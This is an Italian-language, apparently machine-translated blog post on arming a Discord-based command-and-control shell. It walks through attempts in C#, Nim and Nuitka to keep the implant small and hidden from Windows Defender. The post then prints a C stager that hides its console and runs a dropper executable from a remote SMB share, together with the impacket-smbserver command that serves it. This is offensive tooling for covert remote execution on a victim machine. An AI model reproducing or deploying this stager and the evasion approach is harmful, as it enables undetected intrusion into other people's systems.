Armi Discord Shell tramite SMB
Nel blog/video precedente (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08) abbiamo discusso su come utilizzare Discord per eseguire comandi remoti. Questa volta affronteremo le limitazioni menzionate.
Se preferisci guardare un video invece di leggere, sentiti il benvenuto sul mio canale:https://youtu.be/Bocf7xM7XWQ
Anche se i risultati sono stati buoni (bypassando Windows Defender, aggirando le restrizioni del firewall inviando/ricevendo comandi su canali attendibili e crittografati), abbiamo dovuto gestire file di dimensioni enormi (oltre 40 MB) oltre a nascondere il processo e l'esperienza della GUI .
Avevo diverse idee che esaminerò ora, alla fine ogni idea ha il proprio spazio per il fallimento. Non posso dire di aver sviluppato un guscio stabile, ma ho qualcosa su cui lavorare. Iniziamo!
Idea 1: crea un bot Discord con C#
Il problema con python e nuitka era l'enorme dimensione del file, perché nuitka aveva bisogno di compilare e combinare ogni singola libreria inclusa. Il pezzo di codice personalizzato è piccolo, l'intero bot non aveva più di 40 righe di codice. Anche se il bot funzionava perfettamente, è pericoloso eliminare più di 40 MB eseguibili sulla destinazione.
Questo mi ha fatto pensare a modi alternativi di creare la shell. La mia idea iniziale era quella di creare il bot con il framework .net. Potresti chiedere perché non .net core? Bene, .net framework è preinstallato su tutti i PC Windows, il che significa che se compilo un codice in eseguibile, verrà eseguito senza problemi. Se dovessi costruirlo su .net core, avrei praticamente 2 opzioni.
1. Spedisci tutte le mie DLL insieme all'eseguibile.
2. Compilare un PE autonomo.
Quando sono andato in profondità con la libreria discord per C# (https://discordnet.dev/guides/introduction/intro.html) Mi sono reso conto che l'unica opzione per me è crearlo con .net core, poiché .net framework si è rivelato non supportato. Dopo molti tentativi per farlo funzionare sotto .net framework, ero incazzato e ho deciso di provare un approccio diverso.
Potresti chiedere ora, perché non andare con l'opzione 2? Bene, sono andato con quello e ho affrontato più o meno lo stesso problema. Il binario .net core era persino più grande di quello nuitka.
Forse c'è un modo per eseguirlo su .net framework, ma è necessario più tempo per la ricerca e il test, lo lascerò per il futuro! Andare avanti!
Idea 2 - Buon vecchio Nim
Dopo aver cercato su quali lingue posso costruire il bot, sorprendentemente, mi sono imbattuto in Nim e nella sua libreria Dimscord (https://github.com/krisppurg/dimscord). L'ho provato con un po' di scetticismo, ma ho scoperto che il bot funzionava bene e la dimensione del file era piccola. Perfetto!
Come tutte le cose che sembrano perfette, non lo sono!
Nim aveva un problema generale ed era il supporto SSL. Quando compili e usi il bot sulla stessa macchina, funziona alla grande. Non appena lo trasferisci nella casella della vittima, vedi che:
Sì, devi eseguire le tue DLL SSL tutte insieme al tuo eseguibile. Non così perfetto eh? Naturalmente, sono state fatte molte ricerche su come aggirare questo problema, ma le mie speranze sono morte quando ho visto che:
Andare avanti!
Idea 3 — Metti in scena il binario originale di Nuitka
Finora questa è stata la mia migliore idea che funziona. Penso che sia meglio eseguire la richiesta SMB piuttosto che rilasciare 40+ MB eseguibili sulla destinazione.
L'idea qui è semplice, ospita il binario con impacket-smbserver e crea un semplice C POC per metterlo in scena! Passiamo attraverso il codice C:
#include <stdio.h>
#include <windows.h>
int main()
{
HWND myWindow = GetConsoleWindow();
ShowWindow(myWindow, SW_HIDE);
system(\\\\IP\\shareName\\dropper.exe");
}
La parte successiva è semplice, esegui il file sulla condivisione remota.
Dopo averlo ospitato con:
impacket-smbserver smb . -ts -debug -smb2support
Avvolgendo
Certo, c'è molto spazio per migliorare, ma finora le cose stanno migliorando sempre di più. In futuro possiamo provare a nascondere lo stager stesso o cambiare di nuovo completamente l'approccio.
Spero che questo fornisca una buona base su come pensare fuori dagli schemi e trovare una soluzione confusa a un problema.
Sentiti benvenuto sul mio server Discord (nessun robot C2 lì non ti preoccupare), dove condividiamo esperienza e conoscenza:https://discord.gg/dWCe5ZMvtQ
Inoltre, apprezzerei il tuo supporto iscrivendoti al mio Youtube:https://www.youtube.com/c/Lsecqt, significa molto per me!
Spero che ti sia piaciuto e che tu abbia imparato qualcosa di nuovo!
Se vuoi sostenere il mio lavoro, puoi farlo con caffè e Bitcoin:
https://www.buymeacoffee.com/lsecqt
3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































